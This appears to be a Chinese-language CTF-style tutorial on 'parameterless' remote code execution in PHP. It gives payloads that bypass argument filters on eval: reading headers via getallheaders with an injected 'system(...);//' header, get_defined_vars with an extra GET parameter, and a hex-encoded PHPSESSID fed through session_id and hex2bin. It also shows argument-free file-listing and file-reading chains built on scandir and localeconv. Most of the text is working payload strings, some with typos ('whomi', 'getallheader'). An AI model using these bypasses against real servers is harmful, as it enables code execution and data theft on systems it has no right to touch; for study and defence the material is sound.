无参数RCE
无参数读文件
首先print_r(scandir(“.”))可以看当前目录所有文件名。但是既然我们要让他没有参数,那么我们就得把里面的.号,用函数替换掉。有一个函数的返回值第一项为.号,localeconv()。但是我们要只读.号,那我们就找一些只读第一位的函数
发现有这些
1 | localeconv() 函数返回一包含本地数字及货币格式信息的数组。 |
那么,就可以构造出这些
1 | print_r(scandir(current(localeconv()))); |
无参数rce
1
getallheaders()
返回所有的 HTTP 头信息,但是要注意的一点是这个函数返回的是一个数组,而 eval() 要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()
这个函数就能胜任。
1 | implode(getallheaders()) |
是从最后开始输出 (由于 php 版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。
具体顺序是在get传输那里传
1 | ?c=eval(implode(getallheader())) |
用bp抓包在请求头那里最后加一个字段名字无所谓,如
1 | kevin:system(whomi);// |
因为他是倒着读的,所以他读的就是system(whomi);//:kevin
PS.//后面的就被注释掉了
2
get_defined_vars()该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode
结合起来用。将get_defined_vars()
的结果用var_dump()
输出
不过这里有这么多的数组,我们也不需要全部查看是吧?那么使用current()
函数就可以办成这个事情
end()
想必你应该了解,说简单点就是将 array 的内部指针移动到最后一个单元并返回其值。end()
想必你应该了解,说简单点就是将 array 的内部指针移动到最后一个单元并返回其值。
?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();
用这个 payload 的话就可以执行 shell 的命令了
3
session_id()
可以用来获取 / 设置当前会话 ID。
那么可以用这个函数来获取 cookie 中的phpsessionid
了,并且这个值我们是可控的。
但其有限制:
文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)
解决方法:将参数转化为 16 进制传进去,之后再用 hex2bin() 函数转换回来就可以了
所以,payload 可以为:?exp=eval(hex2bin(session_id()));
但 session_id 必须要开启 session 才可以使用,所以我们要先使用 session_start。
最后,payload:
1 | ?exp=eval(hex2bin(session_id(session_start()))); |
说到这里,这套组合拳还差了点东西,你还没写你要执行的代码!
不是才说道session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?所以我们可以在 http 头中设置 PHPSESSID 为想要执行代码的 16 进制:hex("phpinfo();")=706870696e666f28293b
4
1 | highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
5
1 | highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); |